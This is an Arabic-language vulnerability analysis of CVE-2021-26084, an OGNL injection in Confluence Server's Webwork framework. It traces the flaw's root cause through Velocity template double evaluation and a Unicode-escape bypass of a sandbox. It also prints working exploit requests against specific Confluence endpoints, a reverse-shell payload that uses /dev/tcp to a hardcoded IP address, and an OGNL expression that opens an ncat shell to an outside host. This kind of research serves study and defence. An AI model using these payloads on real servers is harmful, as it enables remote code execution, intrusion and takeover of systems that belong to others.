
CVE-2021-26084 - Confluence Server Webwork OGNL injection
يقدم هذا التقرير نظرة عامة على CVE-2021-26084 - حقن OGNL في Webwork على خادم Confluence [1] والذي يسمح للمستخدم المصادق عليه بتنفيذ كود عشوائي على خادم Confluence أو مركز البيانات.
يستخدم Confluence Server / Data Center إطار عمل Webwork 2 MVC لمعالجة طلبات الويب، وتتكون طبقة العرض بشكل أساسي من قوالب Velocity. يحدث تقييم مزدوج عندما تستخدم قوالب Velocity علامات Webwork مع سمة قيمة تحتوي على $. عندما يتم مواجهة علامة Webwork مع سمة قيمة تحتوي على $، يحدث تقييم أولي أثناء تحليل قالب Velocity؛ ثم يتم تمرير هذه القيمة المُقيمة إلى علامة Webwork التي تقوم بتقييم القيمة مرة أخرى كتعبير OGNL. إذا كانت فئة الإجراء تظهر دالة setter للمعامل المستخدم في سمة القيمة، فيمكن ضبط هذا المعامل من عنوان URL باستخدام معاملات URL. لذلك، من خلال صياغة عنوان URL بحمولة OGNL، يمكن للمهاجم إجراء تنفيذ كود عن بعد على الإصدارات المتأثرة من Confluence Server / Data Center.
# UnAuthenticated RCE - based on the awesome write-up at httpvoid; courtesy of Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'
# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>
تنشأ ثغرات حقن لغة التعبير (Expression Language Injection) عندما يدمج التطبيق بيانات يمكن التحكم فيها من قبل المستخدم في سلسلة يتم تقييمها ديناميكيًا بواسطة مفسر كود. إذا لم يتم التحقق بدقة من بيانات المستخدم، يمكن للمهاجم استخدام مدخلات مصممة لتعديل الكود المراد تنفيذه، وحقن كود عشوائي سيتم تنفيذه بواسطة الخادم [2]. لغة التنقل في الرسم البياني للكائنات (OGNL) [3] هي لغة تعبيرية للتعامل مع كائنات Java. عندما تكون ثغرة حقن OGNL موجودة، يمكن للمهاجم حقن تعبيرات OGNL يمكن استخدامها بعد ذلك لتنفيذ كود Java عشوائي. بالإضافة إلى الحصول على/تعيين الخصائص، يدعم OGNL العديد من الميزات الأخرى، والتي يبدو أن ما يلي مثير للاهتمام من وجهة نظر تطوير الاستغلال:
استدعاء طرق ثابتة: @java.lang.Runtime@getRuntime()
استدعاء المُنشئ: new java.lang.String[]{'/bin/bash','-c', 'xcalc'}
القدرة على العمل مع متغيرات السياق: #attr["webwork.valueStack"]
استدعاء الطرق: #attr["webwork.valueStack"].findValue()
بدمج التركيبات أعلاه، يمكن تشكيل تعبير OGNL صالح. يظهر أدناه مثال نموذجي لتعبير OGNL:
@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')
WebWork 2 هو إطار عمل MVC قائم على السحب مبني على قمة إطار عمل نمط الأوامر يسمى XWork، وهو السلف لإطار Apache Struts2 الشهير. يستخدم Confluence WebWork 2 من OpenSymphony لمعالجة طلبات الويب المقدمة من المستخدمين. يدعم Webwork لغة تعبير قوية مبنية على OGNL للتنقل في مكدس الكائنات الخاص به (ويعرف أيضًا باسم ValueStack). كما يدعم تقنيات عرض متعددة بما في ذلك JSP و FreeMarker و Velocity ويوفر مكتبة علامات غنية. "WebWork: Strutting the OpenSymphony way" بقلم Mike Cannon-Brookes [4] يقدم نظرة عامة ممتازة على إطار عمل Webwork 2. من بين الأمور الأخرى التي تهم هذه الثغرة بشكل خاص هو دعم Webwork لـ:
تضمن اكتشاف الثغرة بشكل أساسي نهج اختبار الصندوق الأبيض حيث تم استخدام مراقبة الكود المصدري لتحليل تقييم OGNL. بعد البحث الممتاز للباحث Man Yue Mo من GHSL حول حقن OGNL في Apache Struts [5] [6] [7] لوحظ أن طريقة evaluateParams في فئة UIBean كانت مرشحًا مثيرًا للاهتمام. تم استخراج قاعدة كود مكتبة webwork في Confluence Data Center (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) باستخدام JD GUI وتحليلها بحثًا عن طرق مشابهة لـ evaluateParams. كان أقرب تطابق هو الطريقة المحمية void evaluateParams(OgnlValueStack stack) في com.opensymphony.webwork.views.jsp.ui.AbstractUITag. كشف تحليل الكود المصدري أيضًا عن وجود فئة com.opensymphony.webwork.util.SafeExpressionUtil التي حجبت معظم حمولات OGNL.
نظرًا لأن المؤلف لم يكن لديه خبرة كافية لتشغيل خادم Confluence من خلال مصحح الأخطاء، تم استخدام عبارات طباعة بدائية لتفريغ نتائج تقييم OGNL في الفئات المذكورة أعلاه. كانت الخطوات المتبعة في مراقبة الكود المصدري هي:
String DL = "\n" + (new Exception().getStackTrace()[0]).getClassName() + "::" + (new Exception().getStackTrace()[0]).getMethodName() + ":";
Object o = findValue(this.valueAttr, valueClazz);
addParameter("nameValue", o);
System.out.println("\033[1;33m" + DL + (new Exception().getStackTrace()[0]).getLineNumber() + "\t findValue( " + this.valueAttr + " ) = " + o + "\033[0m");
# use javap on the classes inside webwork jar to identify the source and target versions
javac -target 1.6 -source 1.6 -classpath "/opt/atlassian-confluence-7.12.4/lib/*:/opt/atlassian-confluence-7.12.4/confluence/WEB-INF/lib/*" -d . *.java
jar vuf webwork-2.1.5-atlassian-3.jar com
مع وجود مكتبة webwork المراقبة، لوحظ أن سمة القيمة لعلامات webwork هي نقطة حقن محتملة حيث أن العرض انتهى في طريقة evaluateParams وتم تقييم سمة القيمة كـ OGNL. كما لوحظ أنه إذا كان قالب Velocity يحتوي على علامة webwork تم تعيين سمة القيمة الخاصة بها باستخدام بناء $، فسيتم تقييم هذه القيمة أثناء عرض قالب Velocity، ويتم تمرير هذه القيمة المُقيمة إلى علامة Webwork. مثال نموذجي لمثل هذه العلامة هو:
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#tag( "Hidden" "name='token'" "value='$!action.token'" )
#tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'")
على الرغم من أن سمة القيمة كانت تعالج الإدخال كـ OGNL، إلا أنه كانت هناك علامات اقتباس مفردة حول بناء $ مما تسبب في معالجة الإدخال كسلسلة نصية. للتحايل على هذا القيد، تم استخدام تسلسل هروب Unicode حيث أن تمرير علامات الاقتباس المفردة مباشرة أدى إلى تحويلها إلى كيانات HTML قبل الوصول إلى نقطة تنفيذ OGNL. يتم تحليل تسلسل هروب Unicode داخل OgnlUtil.compile ويتم تشكيل ognl.ASTAdd مما يتسبب في تقييم حمولة OGNL المحقونة.
parsedExpression = OgnlUtil.compile( '\u0027+(7*7)+\u0027' ) = "" + (7 * 7) + ""
com.opensymphony.webwork.views.jsp.ui.AbstractUITag::evaluateParams --> findValue( '\u0027+(7*7)+\u0027' ) = 49

تم البحث في قاعدة كود Confluence عن ملفات Velocity تطابق نمط تعبير عادي يحتوي على علامة webwork و $ في سمتها. بمجرد تحديد ملف Velocity، تم تحديد فئة الإجراء المقابلة التي تستخدم قالب Velocity من خلال التصفح في ملف تكوين xwork وهو xwork.xml (داخل confluence-x.y.z.jar). تبدو العملية تقريبًا كالتالي:
كان الملف content-editor.vm (atlassian-confluence-7.12.4/confluence/template/custom) يحتوي على علامة Webwork أدناه:
#if ($templateApplied)
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#end
يمكن تعيين سمة القيمة، templateId، عن طريق تمرير معامل URL sourceTemplateId إلى نقطة النهاية docreatepagefromtemplate.action. عند استدعاء معامل URL بالاسم sourceTemplateId، يتم استدعاء دالة setter لفئة الإجراء (com.atlassian.confluence.pages.actions.CreatePageFromTemplateAction) وهي setSourceTemplateId بواسطة الإطار، ويقوم ذلك بتعيين قيمة المتغير العضو sourceTemplateId.
عندما يتم تحليل قالب Velocity، يتم تقييم ${templateId} مبدئيًا عن طريق استدعاء دالة getTemplateId لفئة الإجراء التي تعيد قيمة المتغير العضو sourceTemplateId.

يتم بعد ذلك تمرير هذه القيمة المُقيمة إلى سمة القيمة لعلامة Webwork التي تقوم بعد ذلك بتقييم سمة القيمة كتعبير OGNL. أخيرًا، باستخدام تسلسل هروب Unicode والاستفادة من المتغير #attr["webwork.valueStack"]، من الممكن تجاوز صندوق الحماية SafeExpressionUtil المستخدم من قبل علامات WebWork، وتنفيذ كود Java عشوائي.
